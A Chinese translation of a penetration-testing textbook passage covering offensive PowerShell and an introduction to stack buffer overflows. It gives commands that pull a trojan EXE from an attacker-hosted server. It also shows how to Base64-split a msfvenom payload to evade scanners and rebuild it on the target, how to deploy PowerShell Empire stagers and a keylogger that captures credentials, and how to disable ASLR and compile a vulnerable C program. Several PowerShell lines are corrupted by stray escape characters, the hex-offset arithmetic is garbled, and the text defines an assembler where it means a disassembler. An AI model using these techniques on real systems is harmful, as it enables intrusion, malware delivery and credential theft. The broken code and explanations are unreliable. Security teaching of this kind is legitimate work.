我们从 TCP 和使用 Nmap 等工具的经验中知道,端口扫描策略有很多种;例如,半开扫描,其中 SYN 数据包被发送以引发开放端口的 SYN-ACK 响应,但没有通过 ACK** 值** 完成握手。那么,在我们的快速且简易的端口扫描脚本背后到底发生了什么呢?它是一个 Connect 模块,用于 TcpClient – 该模块旨在创建 TCP 连接。它并不知道自己被用来做端口扫描。它正在尝试建立完整的三次握手,并且如果握手完成,它会成功返回。我们必须理解网络上发生了什么。

既然我们在与网络通信,那就让我们看看在需要将恶意程序传送到目标时,能做些什么。

通过 PowerShell 向目标传送 Trojan

你有 PowerShell 访问权限。你有一个 Trojan 文件放在 Kali 主机上,需要将其传送给目标。在这里,你可以将文件托管在 Kali 主机上,并使用 PowerShell 来避免恼人的浏览器警告和内存占用。

首先,我们使用 python -m SimpleHTTPServer 80 来托管文件,该命令在包含 Trojan 的文件夹中执行。当准备好后,我们可以执行一个 PowerShell 命令,利用 WebClient 下载文件并将其写入本地路径:

(New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:\windows\temp\attack1.exe")

让我们看看在执行命令并运行 ls 验证时会是什么样子:

图 9.9 – 从 HTTP 服务器下载 EXE 文件

图 9.9 – 从 HTTP 服务器下载 EXE 文件

需要注意的是目标路径不是任意的;它必须存在。这个一行命令不会为你创建一个目录,所以如果你试图将其放在任何地方而没有确认主机上是否存在,可能会引发异常。假设这不是问题,并且命令已经执行完毕,我们可以cd进入选择的目录,看到我们的可执行文件已经准备就绪。

不过我知道你在想什么 - 像这样从网络中提取 EXE 文件并不是特别隐秘。你说得对。任何值得一试的终端保护产品都会立即抓住这种尝试。我们需要考虑如何通过将文件转换为比普通可执行代码更不可疑的东西来偷运文件。如果我们将恶意二进制文件转换为 Base64 呢?然后,我们可以将其写入一个纯文本文件,PowerShell 可以像处理普通字符串一样处理它。让我们仔细看看。

在 PowerShell 中对二进制进行编码和解码

首先,我们将切换回我们的 Kali 系统,并使用msfvenom创建一个快速可执行的漏洞。然后,我们将通过使用SimpleHTTPServer将其发送到我们的 Windows 系统:

图 9.10 – 构建和提供恶意可执行文件

图 9.10 – 构建和提供恶意可执行文件

对于这个示例,我将这个文件称为sneaky.exe。现在,让我们施展魔法,从 EXE 文件中读取原始字节,压缩结果,然后将其转换为 Base64。让我们开始吧:

$rawData = [System.IO.File]::ReadAllBytes("C:\Users\bramw\Downloads\sneaky.exe")

$memStream = New-Object IO.MemoryStream

\(compressStream = New-Object System.IO.Compression.GZipStream (\)memStream, [IO.Compression.CompressionMode]::Compress)

\(compressStream.Write(\)rawData, 0, $rawData.Length)

$compressStream.Close()

$compressedRaw = $memStream.ToArray()

\(b64Compress = [Convert]::ToBase64String(\)compressedRaw)

$b64Compress | Out-File b64Compress.txt

让我们逐步分析刚刚发生的事情。请注意,我们正在使用 PowerShell 与.NET 进行交互 - 在一瞬间获得巨大的力量:

  1. System.IO命名空间下,File类包含ReadAllBytes方法。这只是打开一个二进制文件并将结果读入一个字节数组,我们称之为$rawData

  2. 接下来,我们创建一个名为$memStreamMemoryStream对象,在这里我们将使用GZipStream类打包原始字节。换句话说,我们将使用 gzip 文件格式规范压缩$rawData的内容。

  3. 然后,我们创建另一个原始字节数组$compressedRaw,但这次数据是我们原始字节数组使用 gzip 压缩后的结果。

  4. 最后,我们将压缩的字节数组转换为 Base64 字符串。此时,我们可以像对待其他字符串一样处理$b64Compress;在我们的示例中,我们将其写入了一个文本文件。

现在,你可以像打开任何其他纯文本文件一样打开这个文本文件。为什么不用蜡笔在餐巾纸上写下它,然后给你的朋友呢?

图 9.11 – 我们二进制文件的纯文本 Base64 表示

图 9.11 – 我们二进制文件的纯文本 Base64 表示

可能性受你的想象力限制,但在我们的例子中,我提供了纯文本供我的 PowerShell 脚本在目标环境中获取。让我们不要低估防御者:尽管这是普通文本,但显然是 Base64 且未加密,因此快速扫描就会揭示其目的。当我试图将其通过电子邮件发送给自己时,Gmail 已经发现了我们,如下面的截图所示:

图 9.12 – Google 发现了!

图 9.12 – Google 发现了!

不用担心,因为这个聪明的扫描考虑了所有的二进制数据。剪掉几个字母,它就会变得混乱。再次强调,可能性仅受你的想象力限制,但想法是你创建一个由 Base64 代码片段组成的拼图,然后在接收端简单地连接起来。在我们的例子中,让我们从文本文件中剪掉前五个字符,然后将剩余字符发送到网络上。让我们来看一下:

Invoke-WebRequest -Uri "http://192.168.108.211:8000/sneaky.txt" -OutFile "fragment.txt"

$fragment = Get-Content -Path "fragment.txt"

$final = "H4sIA" + $fragment

\(compressedFromb64 = [Convert]::FromBase64String(\)final)

$memoryStream = New-Object io.MemoryStream( , $compressedFromb64)

\(compressStream = New-Object System.io.Compression.GZipStream(\)memoryStream, [io.Compression.CompressionMode]::Decompress)

$finalStream = New-Object io.MemoryStream

\(compressStream.CopyTo(\)finalStream)

$DesktopPath = [Environment]::GetFolderPath("Desktop")

$TargetPath = $DesktopPath + "\NotNaughty.exe"

[IO.File]::WriteAllBytes($TargetPath, $finalStream.ToArray())

我们可以用更少的行数完成所有这些操作,但我将它们列出来,以便我们可以看到攻击的每个阶段。一旦我们的脚本提取了片段,我们只需连接缺失的部分并将其保存为$final。因此,$final现在包含以 EXE 格式的 Base64 编码、gzip 压缩的二进制代码。我们可以使用之前讨论过的相同方法反向操作,然后使用WriteAllBytes方法在我们这一端重新创建 EXE。将这个技巧与本书中之前讨论的恶意软件规避技术相结合,你就拥有了一个强大的渠道,可以将你的工具偷偷带入目标环境。

正如 Metasploit 中的一切都可以手动完成一样,幸运的是,我们在工具包中有一个框架,可以简化开发强大的 PowerShell 攻击的手动任务。让我们来看看 Empire 框架。

Offensive PowerShell – 介绍 Empire 框架

我们能够坐在 Windows 机器前,通过 PowerShell 与操作系统如此紧密地互动,毫无疑问是 Windows 管理员的梦想成真。作为攻击者,我们看到的是精确制导导弹的各个部件,我们只需要时间去构建它。在渗透测试中,我们通常没有时间即时编写完美的 PowerShell 脚本,因此大多数渗透测试员都有一个装满自制脚本的“糖果袋”,用于执行某些任务。我使用的一个脚本,客户端一个接一个地运行,做的仅仅是扫描开放端口,并将 IP 地址转储到按开放端口命名的文件夹中的文本文件里。像这样的事情看起来平淡无奇,甚至有些无意义——直到你身处现场,意识到你已经节省了数十个小时。

高级安全专家会以这种方式看待像 Metasploit 这样的工具——它是一个框架,用于有组织、高效和整洁地传递工具,当内置的工具集无法满足需求时。在 PowerShell 的世界中,有一个框架自动化了引导和管理与目标的通信通道,以进行复杂的 PowerShell 攻击。欢迎来到 Empire。

安装并引入 PowerShell Empire

让我们通过动手实践来介绍 PowerShell Empire。安装非常简单,但首先我们需要更新 apt

图 9.13 – 在 Kali 上安装 PowerShell Empire

图 9.13 – 在 Kali 上安装 PowerShell Empire

安装完成后,你可以通过以下命令启动团队服务器:

powershell-empire 服务器

没错——使用 PowerShell Empire 轻松进行红队攻击。注意 RESTful API 也托管在 1337 端口上——可以用你最喜欢的编程语言进行大量自动化,使你能够在有限的时间内从一台 PC 上完成多名攻击者的工作。

现在,让我们在一个新窗口中启动 Empire 客户端:

powershell-empire 客户端

你注意到这个客户端界面有什么特别之处吗?

图 9.14 – Empire 客户端窗口

图 9.14 – Empire 客户端窗口

没错——它具有 Metasploit 的外观和感觉。看看提示符上方的状态:它告诉我们 Empire 的运作依赖于三个主要组件。这些组件是 模块监听器代理。虽然这里没有显示,但同样重要的第四个组件是 引导程序。这些概念在我们深入探讨时会变得更清晰,但让我们先更详细地了解它们:

  • 模块 本质上与 Metasploit 中的模块概念相同——它是一段执行特定任务的代码,充当我们攻击的有效载荷。

  • 监听器 是不言而喻的:它将在本地 Kali 机器上运行,并等待来自被攻陷目标的回连。

  • 代理 用于驻留在目标上,帮助保持攻击者与目标之间的连接。它们接受模块命令并在目标上执行。

  • 加载器与 Metasploit 中一样:它是为我们的模块在被攻陷的主机上运行做准备的代码片段。把它看作是攻击者与目标之间的通信中介。

让我们从首次使用者最重要的命令开始——help

图 9.15 – Empire 的帮助菜单

图 9.15 – Empire 的帮助菜单

你注意到 PowerShell 和 PowerShell Empire 让随时学习变得轻松吗?你可以随时输入help查看支持的命令并了解更多信息。你注意到加载了 396 个模块吗?你也可以快速浏览它们——输入usemodule,后面加个空格,然后使用箭头键浏览列表:

图 9.16 – Empire 中的自动补全

图 9.16 – Empire 中的自动补全

注意与 Metasploit 在模块树布局和功能上的重叠。那么,Empire 有什么不同呢?嗯,你知道我怎么想的,不是吗?我们完全可以自己查看这些 PowerShell 脚本,而不是我只告诉你。

在新窗口中,使用cd Empire/data/module_source/credentials切换到凭证模块的源目录,然后使用ls列出目录内容:

图 9.17 – 看一看原始脚本

图 9.17 – 看一看原始脚本

看这个:.ps1 文件。我们来打开一个看看。执行 vim dumpCredStore.ps1

图 9.18 – 看一看凭证窃取脚本

图 9.18 – 看一看凭证窃取脚本

这些都是相当复杂和强大的 PowerShell 脚本。现在,我知道你心中的黑客在想什么——“就像我们用 Ruby 为 Metasploit 写模块一样,我也可以写一些 PowerShell 脚本并将其融入到我的 Empire 攻击中。”做得好。我把这个任务留给你,因为我们需要回到学习如何通过监听器、加载器和代理来设置 Empire 攻击的正题上。

配置监听器

理论上,你可以从一开始就着手开发一个代理。但没有监听器,你是无法前进的。没有回家的路,你是无法深入丛林的。从 Empire 主提示符开始,输入listeners并按Enter

图 9.19 – 监听器界面

图 9.19 – 监听器界面

请注意,这会改变提示符;CLI 使用类似 iOS 的风格来进入配置模式。你现在处于监听器模式,因此再次输入help将显示监听器帮助菜单。

现在,输入uselistener并在末尾加个空格,显示可用的监听器。HTTP 监听器听起来是个不错的选择——端口 80 在防火墙上通常是开放的。完成uselistener/http命令,然后使用info查看选项:

图 9.20 – 特定监听器的界面

图 9.20 – 特定监听器的界面

如果这看起来你不熟悉,现在你会看到这个界面让人想起 Metasploit。是不是很温馨?这让我想喝杯热可可,蜷缩起来。

你会注意到,选项默认设置了你所需的一切,所以你可以直接执行 execute 来进行设置。虽然有很多选项,但请根据你的环境和目标考虑选择。如果你将主机改为 HTTPS,Empire 会在后台相应地进行配置,但你需要一个证书。Empire 附带一个自签名证书生成器,它会将结果放在正确的文件夹中——只需在 setup 文件夹内运行 cert.sh。目前,我正在使用普通的 HTTP。你需要使用 set Port 80 来配置监听端口。执行后,输入 main 返回到 Empire 的主提示符。注意,listeners 的数量现在是 1。现在,我们来学习如何配置 stager。

配置 stager

输入 usestager 后加空格来查看我们可以使用的 stager:

图 9.21 – 使用 usestager 的自动补全

图 9.21 – 使用 usestager 的自动补全

正如你所看到的,这里有社会工程学的潜力;我将留给你发挥创意,想办法说服用户执行嵌入在 Word 文档中的恶意宏。这类攻击即便在撰写时仍然很常见,不幸的是,我们有时会看到它们成功突破防御。现在,我使用的是 VBScript stager,所以我将完成 usestager windows/launcher_vbs 命令。我们将立即看到我们的选项菜单。配置选项时,有两个重要的事项需要注意:

  • Stager 必须知道要与哪个监听器关联。你在这里通过名称进行定义;在过去,你需要在第一次创建监听器时记下它的名称。现在,在 set Listener 后加空格,会自动给出现有监听器的列表。

  • 这些选项区分大小写。

这里有一些很棒的选项,以下表格展示了它们。我最喜欢的是代码混淆功能。我鼓励你尝试使用这个选项并查看生成的代码(混淆需要本地安装 PowerShell):

图 9.22 – Stager 选项菜单

图 9.22 – Stager 选项菜单

一旦你准备好,执行 execute 来生成 stager。你会在 /var/lib/powershell-empire/empire/client/generated-stagers 目录下找到生成的 VBSript 文件。

继续查看你那款崭新的 stager。让我们看看里面的内容。

你的内部人员 – 与代理合作

你查看过 VBScript 吗?它非常巧妙。查看一下:vim /var/lib/powershell-empire/empire/client/generated-stagers/launcher.vbs。尽管我们没有为实际的 PowerShell 配置混淆,但正如你所看到的,这个 VBScript 的用途难以确定:

图 9.23 – 窥视 VBScript stager 的内部

图 9.23 – 窥视 VBScript stager 的内部

无论你选择了哪种方法,我们都在 Empire 中进行三阶段的代理投递过程。stager 是打开大门的那一部分;Empire 负责代理的旅行,以下图所示:

图 9.24 – 三阶段代理投递过程

图 9.24 – 三阶段代理投递过程

当你在 Windows 目标上执行 stager 时,你不会看到任何变化。不过,看看你的 Empire 屏幕,观察三阶段代理投递过程完成。代理与攻击者之间的关系类似于 Meterpreter 会话,且管理方式也相似。输入agents进入agents菜单,然后使用interact与刚刚设置的代理进行交互:

图 9.25 – 准备接受任务的活跃代理

图 9.25 – 准备接受任务的活跃代理

一如既往,使用help查看可用的交互选项。目前,让我们用sc从目标机器获取一张截图。客户端窗口只会告诉你它已任务代理,但你可以切换回服务器窗口,查看一些幕后细节:

图 9.26 – 服务器窗口中任务的详细信息

图 9.26 – 服务器窗口中任务的详细信息

你可以在/var/lib/powershell-empire/downloads中找到你的战利品。截图很有趣,但密码会被视觉模糊处理,因此让我们通过 PowerShell 键盘记录模块来结束介绍。

为代理任务配置模块

首先,输入agents命令进入代理模式。执行usemodule powershell/collection/keylogger,然后用你刚才记下的名字执行set Agent。然后输入execute,坐等你的代理在敌后开始工作。在你的interact会话中,使用view命令查看任务的进展情况。

我很乐意写一大段复杂的文字,详细描述所有的活动部分,但配置一个基本模块并任务代理就这么简单。Empire 框架实在是太方便了,不仅仅局限于这一章节的介绍——我们还需要处理权限提升和持久性的问题,所以请把这个强大的工具随时准备好。来看一下这个实验的结果:我们捕获了一些凭据,代理还很友好地提供了输入凭据的页面标题:

图 9.27 – 帝国代理发送的捕获键击

图 9.27 – 帝国代理发送的捕获键击

就像我们配置监听器和 stagers 时一样,我们有一些可选设置,也有一些是必需的,Empire 会尽力提前为你配置好。任务代理之前,请仔细审查可用选项。

在现代 Windows 企业环境中,PowerShell 是我们可用的终极“就地作业”工具,而 Empire 框架则能使你在评估中成为一名“忍者”。如果你跟随这些实验,你已经打下了更深入探索的基础,那么赶快打开目标虚拟机,试试新技巧吧。我们将在后期利用 Empire 进行后渗透工作,敬请期待。

总结

在本章中,我们从两个角度探索了 PowerShell。首先,我们将 PowerShell 作为一个交互式任务管理命令行工具和脚本语言进行介绍。然后,我们利用 PowerShell Empire 攻击框架中构建的 PowerShell 脚本,展示了攻击 Windows 机器时的潜力。最终,我们学习了如何利用 Windows 机器上的立足点,使用内置功能为攻击的后期阶段做准备。

本章节的介绍是特权提升和持久性的理想过渡,我们将在此基础上将我们的立足点转变为完全的特权入侵,并为长期保持访问权限铺平道路。现在,我们将跳入下一个章节,介绍 Shell 编程,并快速学习如何操作栈。

问题

请回答以下问题,测试你对本章内容的掌握情况:

  1. lsdir 和 PowerShell 的 _____ 提供相同的功能。

  2. [Convert]::ToString($number, 2)$number 变量做了什么操作?

  3. 在 PowerShell 中,我们使用 ____ 来筛选结果。

  4. 以下命令将创建 c:\shell 目录并将 shell.exe 写入该目录 (正确 | 错误):

    (New-Object System.Net.WebClient).DownloadFile("http://10.10.0.2/shell.exe", "c:\shell\shell.exe")

  5. 在配置 HTTPS 监听器时,可以使用 cert.sh 脚本来防止目标浏览器显示证书警告。(正确 | 错误)

深入阅读

要了解本章所涉及的主题的更多信息,请查看以下资源:

第十章:Shellcoding - 堆栈

到目前为止,我们一直在较高的抽象层次上工作。我们回顾了一些有效的工具,用于高效地完成工作,并学习了如何以易于消化的格式轻松生成报告。尽管如此,如果我们停留在模糊的低层次并且不断让工具隐藏底层机器,就会遇到一堵墙,阻碍我们的进展。无论我们在做什么任务,数据包和应用数据最终都会转化为原始的机器数据。我们在处理网络协议时就学到了这一点,比如当一个工具告诉你目标不可达时。虽然那可能是事实,但如果你想知道那些飞速传输的比特信息发生了什么,那就显得毫无意义。作为一个安全专家,你需要能够解读手头的信息,模糊和不完整的数据是这个领域每天都要面对的现实。因此,在本章中,我们将开始深入了解机器的底层机制。这将为书后面的实际操作练习奠定基础,在这些练习中,理解计算机的思维方式对于编程任务至关重要。尽管这是一本实践书籍,本章内容比平时稍微偏向理论。别担心,我们还会展示如何将这种理解应用于实际任务。

本章内容包括以下内容:

  • 介绍堆栈和调试

  • 介绍汇编语言

  • 构建并使用一个有漏洞的 C 程序

  • 使用 GDB 调试器检查内存

  • 介绍字节序的概念

  • 介绍 shellcoding 概念

  • 学习如何使用msfvenom来微调我们的 shellcode

技术要求

本章的技术要求如下:

  • Kali Linux

  • 旧版本的 Kali 或 BackTrack,或允许堆栈执行的其他 Linux 版本

调试简介

这本书并不是关于逆向工程的,但逆向的科学与艺术对我们作为渗透测试人员非常有帮助。即使我们不编写自己的漏洞利用程序,逆向也能为我们提供鸟瞰图,帮助我们理解底层内存管理。到目前为止,我们已经看过了几种语言——Python 和 Ruby——并且在本章中,我们也将简单看一看一些 C 语言代码。这些语言都是高级语言,这意味着它们距离机器的本地语言有一层逻辑抽象,更接近于人类的思维方式。因此,它们包含诸如对象、过程、控制流、变量等高级概念。这种高级语言的抽象层次绝非平坦——例如,C 语言相比其他高级语言被认为更接近机器的本地语言。另一方面,低级语言几乎没有与机器码的抽象层次。黑客最重要的低级语言是汇编语言,它通常只有一层抽象,接近纯机器码。汇编语言由操作码(opcode,表示处理器执行某个特定操作的数字)和临时存储单元(称为寄存器,用于存储操作数)组成。在最低层次,所有程序基本上都可以看作是复杂的内存管理——它们都由数据组成,而数据必须从某个地方存储和读取。

从现在开始,除非特别说明,否则我们将使用Intel 架构-32IA-32),即 32 位 x86 指令集架构(原始的 x86 是 16 位)。它是最常见的架构,因此最贴近实际应用。它也是理解其他架构的良好起点。现在,让我们看看内存是如何在运行时分配的。

理解栈

栈(stack)是与特定进程或线程相关联的一块内存。当我们说栈时,可以想象一叠盘子。一开始,你有一张桌子或厨房台面;然后,你把一只盘子放在台面上。接着,把下一个盘子放在前一个盘子上面。如果要取出中间的盘子,你需要先把上面的盘子拿走。(好吧,也许我有点过于沉迷于这个比喻了。我曾经做过服务员。)

这种组织堆栈的方法叫做 后进先出LIFO)结构。将数据压入堆栈叫做 push 操作。将数据从堆栈中取出叫做 pop 操作,这也是我在计算机科学中最喜欢的术语之一。有时你会看到 pull 操作,但老实说,pop 听起来要有趣得多。在程序执行过程中,当一个函数被调用时,函数及其数据会被压入堆栈。堆栈指针会监视堆栈顶部的数据,在数据被压入和弹出堆栈时保持跟踪。当过程中的所有数据都被弹出堆栈时,最后一条信息是 return 指令,它将我们带回到程序开始调用之前的位置。由于程序数据位于内存中,return 是一条跳转到特定内存地址的指令。

理解寄存器

在我们开始玩调试器之前,我们需要回顾寄存器和一些基本的汇编语言概念。如前所述,处理器处理数据,而数据需要存储在某个地方,即使它只是短短的一瞬间。寄存器是直接由处理器访问的小型存储区域(我们所说的小是指 8 位、16 位、32 位和 64 位),因为它们是直接内建于处理器中的。

当你在办公室的桌子上工作时,触手可及的物品是可以立即访问的物品。假设你需要从办公室的文件柜里拿些东西。这可能需要你额外花费几分钟时间,但物品仍然随时可以获取。现在,假设你有一些纸箱存放在阁楼里。从那里获取数据可能有点麻烦,但当你必须取出时,你可以拉出梯子。需要从二级存储(硬盘)中检索程序数据会花费处理器很多时间,类似于你那尘土飞扬的阁楼。RAM 可以被看作是那个比桌子有更多空间的文件柜,但从中获取物品的速度并不像从桌子上取东西那么快。你的处理器需要寄存器,就像你需要桌面上的一些空间一样。

尽管 IA-32 架构有一些寄存器用于各种目的,但你只需要关注其中的八个:通用寄存器。记得我们提到过原始的 x86 是 16 位吗?其实 32 位是 16 位架构的扩展(因此有了 E),这意味着所有原始的寄存器仍然存在,并占据寄存器的下半部分。16 位架构本身是过去 8 位架构(8080)的扩展,所以你还会发现 8 位寄存器占据了 A、B、C 和 D 16 位寄存器的高低端。这种设计确保了向后兼容性。看看下面的图示:

图 10.1 – IA-32 寄存器映射

图 10.1 – IA-32 寄存器映射

从技术上讲,之前提到的所有寄存器(除了ESP)都可以作为通用寄存器使用,但大多数情况下,EAXEBXEDX才是真正的通用寄存器。ECX可以用作函数中需要计数器的计数器(想象一下,C代表counter)。ESIEDI通常用作内存复制时的源索引SI)和目标索引DI)。EBP通常作为栈基指针使用。ESP始终是栈指针——当前栈的位置(栈顶)。因此,如果数据要被压入(或弹出)栈,ESP告诉我们数据将去往或来自哪里。例如,如果数据从栈指针下方压入或弹出,栈指针就会更新为新的栈顶位置。那么,栈指针和栈基指针有何不同?栈基指针是当前栈帧的底部。当我们先前讨论函数调用的例子时,我们看到栈帧包含所有压入栈的相关数据。栈帧底部的返回值位于基指针的下方。如你所见,这些引用帮助我们真正理解内存中发生的事情。说到指针,我们还应注意EIP指令寄存器(指令指针),它告诉处理器下一条指令的位置。正如你可以想象的那样,它不是通用寄存器。

最后,还有状态寄存器EFLAGS(再次说明,E表示扩展,就像 16 位祖先一样,它叫做FLAGS)。标志位是包含处理器状态信息的特殊位。例如,当处理器被要求执行减法操作且结果为零时,零标志被设置。同样,如果结果为负,符号标志被设置。还有一些控制标志,实际上会影响处理器执行特定任务的方式。

汇编语言基础

如果你认为关于寄存器的这些信息很有趣,那么等你了解汇编语言时,寄存器的完整生命周期会更让你着迷!我们这里只看基础知识,因为要全面讲解这个话题需要更多的篇幅。不过,对于那些勇敢深入这个主题的人来说,理解一些基础知识有助于全面掌握汇编语言。

汇编语言,尽管其极度简洁,但也因其简约而美丽。很难想象如此接近机器代码的东西竟然如此简单,但请记住,处理器做的事情非常简单——它做数学运算,移动数据,并存储少量数据,包括状态信息。还要记住,处理器理解的是二进制——最底层就是 0 和 1。我们有两种方法使这种二进制机器语言稍微更适合人类——使用二进制的紧凑表示(也就是使用二的幂作为数字基数;我们将主要使用十六进制),以及汇编语言,它使用助记符来表示操作。几乎所有汇编语言都有两个主要组件——操作码(opcode)操作数(operand)操作码(opcode) 是指代表特定指令的代码。操作数(operand) 是操作码使用的参数,可以是立即数操作数类型(即代码中定义的值);寄存器引用;或内存地址引用(实际上可以是前两种数据类型之一)。注意,某些操作码没有操作数。如果有目标操作数和源操作数,目标操作数优先,如以下示例所示:

mov edi, ecx

在这种情况下,edi 寄存器是目标操作数,ecx 寄存器是源操作数。

请记住,根据环境的不同,存在两种汇编语言表示法——Intel 和 AT&T。你将在处理 Windows 二进制文件时遇到 Intel 表示法,因此本书中我们默认使用这种表示法。然而,在 Unix 环境中,你会遇到 AT&T 表示法。Intel 和 AT&T 之间的一个主要区别是,在 AT&T 表示法中,目标操作数和源操作数的位置是 相反的;然而,内存地址使用 %() 引用,这使得你可以轻松判断你面对的是哪种表示法。

让我们从基本操作码和一些示例开始:

  • mov 表示移动,将是你看到的最常见的操作码,因为处理器的大部分工作都是将数据从一个地方移到另一个地方(例如寄存器),以便它能处理当前的任务。以下是 mov 的一个示例:

mov ecx, 0xbff4ca0b

  • addsubdivmul 都是基本的算术运算码——分别表示加法、减法、除法和乘法。

  • cmp 是比较指令,它接受两个操作数并通过标志位设置结果的状态。在以下示例中,比较了两个值;它们显然相同,因此它们之间的差值是 0,因此零标志被设置:

cmp 0x3e2, 0x3e2

  • call 是函数调用指令。此操作会将指令指针压入栈中,以便可以回到当前的位置,然后执行跳转到指定的地址。以下是 call 的一个示例:

call 0xc045bbb2

  • jcc 条件指令是汇编世界中的 if/then。jnz 是非常常见的,并且只接受一个操作数——一个内存中的目标地址。它表示“如果不为零,则跳转”,因此你经常会看到它在 cmp 操作之后。以下示例中,存储在 eax 中的值与十六进制值 3e2(十进制为 994)进行比较,如果零标志未设置,执行将跳转到内存中的 0xbbbf03a5 位置。以下两行,简单来说就是:检查存储在eax寄存器中的值是否等于994,如果它们是不同的数字,则跳转到0xbbbf03a5处的指令

cmp    eax,0x3e2

jnz    0xbbbf03a5

  • push 与我们在讨论堆栈工作原理时提到的 push 相同。此命令将某些内容推送到堆栈中。如果你有一系列的 push 操作,那么这些操作数将按照出现的顺序进入堆栈,并按照 LIFO(后进先出)结构存储,如以下示例所示:

push    edx

push    ecx

push    eax

push    0x6cc3

call    0xbbfffc32

如你所见,这是一个非常简单的介绍。汇编语言是那种通过示例学习效果更好的东西,因此请继续关注书中的更多分析。

汇编器、调试器和反编译器——哇!

在继续之前,最好先回顾一下这些术语之间的差异,因为信不信由你,这些词语通常是可以互换使用的:

图 10.2 – 汇编器与反编译器

图 10.2 – 汇编器与反编译器

让我们定义一下每个术语:

  • 调试器 是用于测试程序执行的工具。它可以帮助工程师识别执行中断的位置。调试器将使用某种类型的汇编器。

  • 汇编器 是一个将纯机器码作为输入并显示底层代码的汇编语言表示的程序。

  • 反编译器 尝试逆向编译过程。换句话说,它试图将二进制文件重构为高级语言,例如 C。程序员原始代码中的许多结构通常会丢失,因此反编译并不是一门精确的科学。

在本书的调试器部分,你将看到给定可执行文件的汇编语言表示,因此反汇编是这个过程中的必要部分。只需要理解处理器级别发生了什么的工程师只需要汇编器,而试图从程序中恢复高级功能的工程师将需要反编译器。

现在,让我们开始玩弄其中一个最好的调试器(在我们看来)——GNU 调试器GDB)。

熟悉 Linux 命令行调试器 GDB

你可以在软件仓库中找到 GDB,所以安装它很容易。只需通过 apt-get install gdb 安装它。安装完成后,只需使用以下命令开始使用:

gdb

GDB 中有许多命令按类别分类,因此建议你离线查阅 GDB 文档,深入了解其强大功能。稍后我们会查看其他调试器,因此这里不会花太多时间。让我们来看一下基础知识:

  • 你可以通过在命令行中运行 gdb 时传递文件的名称和位置来加载可执行文件。你还可以使用 --pid 将 GDB 附加到现有进程。

  • info 命令是了解后台发生的事情的强大窗口;info breakpoints 会列出并提供有关断点的信息,以及代码中执行停止的特定位置,以便你可以检查该位置及其环境。info registers 在任何栈分析中都很重要,因为它展示了当前时刻处理器寄存器的状态。你可以与 break 一起使用它,监控程序运行时寄存器值的变化。

  • list 会显示源代码(如果它包含的话)。然后我们可以根据源代码中的位置设置断点,这非常方便。

  • run 告诉 GDB 运行目标;你像在 GDB 外部一样传递参数给 run

  • x 只是意味着检查,它让我们可以窥视内存。我们将使用它检查栈指针之外的若干地址。例如,要检查栈指针 ESP 后 45 个十六进制字,我们可以输入 x/45x $esp

现在我们将把这部分介绍提升到一个新的阶段,开始在 GDB 中玩弄一个有漏洞的程序。

栈冲击 – 介绍缓冲区溢出

在本章的前面,我们了解了栈的神奇世界。栈非常有序,其核心设计假设所有参与者都遵循它的规则——例如,任何将数据复制到缓冲区的操作都已经检查过,以确保数据能适应缓冲区。

虽然你可以使用最新的 Kali Linux 来设置并研究栈和寄存器,但 Kali 的最新版本中已经内置了栈执行对策。我们建议使用其他版本的 Linux(或较旧版本的 Kali 或 BackTrack)来查看漏洞的实际表现。不管怎样,我们将在第十二章中攻击 Windows 系统,Shellcoding - 绕过杀毒软件

在我们开始之前,需要禁用 Linux 内置的栈保护机制。栈溢出之所以可能,部分原因是能够预测和操作内存地址。然而,地址空间布局随机化ASLR)使得这一点变得更困难,因为很难预测被随机化的内容。我们稍后会讨论绕过方法,但为了演示目的,我们将通过以下命令暂时禁用它:

echo 0 > /proc/sys/kernel/randomize_va_space

走之前先学会走路:禁用保护机制

理解栈溢出的基本原理非常重要,因此我们使用本章和下一章来创建一个理想的攻击实验室,这既具教育意义,又不太可能代表你实际客户的环境。业内已经从我们讨论的内容中吸取了教训,今天你会遇到诸如 ASLR 和 DEP 这样的保护机制。请继续关注第十一章Shellcoding - 绕过保护,以便了解这些攻击如何工作,获取最新的实践经验。到那时,你将有历史的视角和概念性理解,来指导你在本书之外的学习。

现在,让我们使用我们 trusty 的 nano 来快速编写一个简单(且易受攻击的)C 程序,代码如下:

nano demo.c

当我们输入这些时,先来看看我们的易受攻击的代码:

图 10.3 – 在 nano 中编辑我们的程序

图 10.3 – 在 nano 中编辑我们的程序

程序从预处理指令#include开始,告诉程序包含定义的头文件。在这里,stdio.h 是定义标准输入输出变量类型的头文件。程序设置了main函数,返回值为无(因此是void);buffer变量被声明并设置为 300 字节大小;strcpy(字符串拷贝)命令将传递给程序的参数复制到 300 字节的缓冲区;显示了一句经典电影中的机器人台词;最后,函数结束。

现在,我们来编译我们的程序。请注意,在以下示例中,我们还在编译时禁用了栈保护:

gcc -g -fno-stack-protector -z execstack -o demo demo.c

./demo test

当你运行程序时,应该能看到printf输出的结果,正如预期的那样:

图 10.4 – 运行我们的演示程序

图 10.4 – 运行我们的演示程序

现在,我们可以看到演示程序将test作为输入并将其复制到缓冲区。然后,printf函数显示我们的消息。由于输入很小,因此我们不应该遇到任何问题;它完全适应缓冲区,甚至还有空余的空间。让我们看看如果我们按住z键一段时间再提交输入,会发生什么:

图 10.5 – 演示程序崩溃

图 10.5 – 演示程序崩溃

啊哈!这里发生了段错误。程序崩溃了,因为我们输入了过多的数据。这个程序很简单,字面上几乎什么也不做,但仍然有一个main函数。在某个时刻,这个函数会被调用,并为其分配一个缓冲区。一旦栈上的所有内容被弹出,我们将剩下一个返回指针。如果这个指针指向一个无效地址,程序就会崩溃。现在,让我们把程序加载到 GDB 中,看看幕后发生了什么。

执行过程中检查栈和寄存器

我们将使用初始测试输入发出run命令,然后检查寄存器,看看正常操作的样子,如下所示:

gdb 演示

(gdb) break 6

(gdb) run test

(gdb) info registers

这将为我们提供寄存器的清晰映射:

图 10.6 – GDB 中的寄存器映射

图 10.6 – GDB 中的寄存器映射

如我们在前面的截图中看到的,espebp 紧挨在一起,因此现在我们可以确定栈帧。从esp开始,让我们找到返回地址。记住,它将是基指针之后的第一个十六进制字。我们知道我们从esp开始,但我们要在内存中查找多远呢?让我们来回顾一下计算。

栈指针位于0xbffff470,基指针位于0xbfff5a8。这意味着我们可以排除bfff,所以我们从4705a8数十六进制字。一个简单的思考方式是按 16 个一组来数:220230240250,依此类推,一直到360,共 20 组。因此,我们将检查 80 个十六进制字。如果你觉得这是 14 组而不是 20 组,那你可能还是在用十进制模式。记住,我们使用的是十六进制,这意味着2202302402502602702802902a02b02c0,等等。

现在我们知道我们正在检查 80 个十六进制字,接下来让我们向 GDB 发出这个命令:

(gdb) x/80x $esp

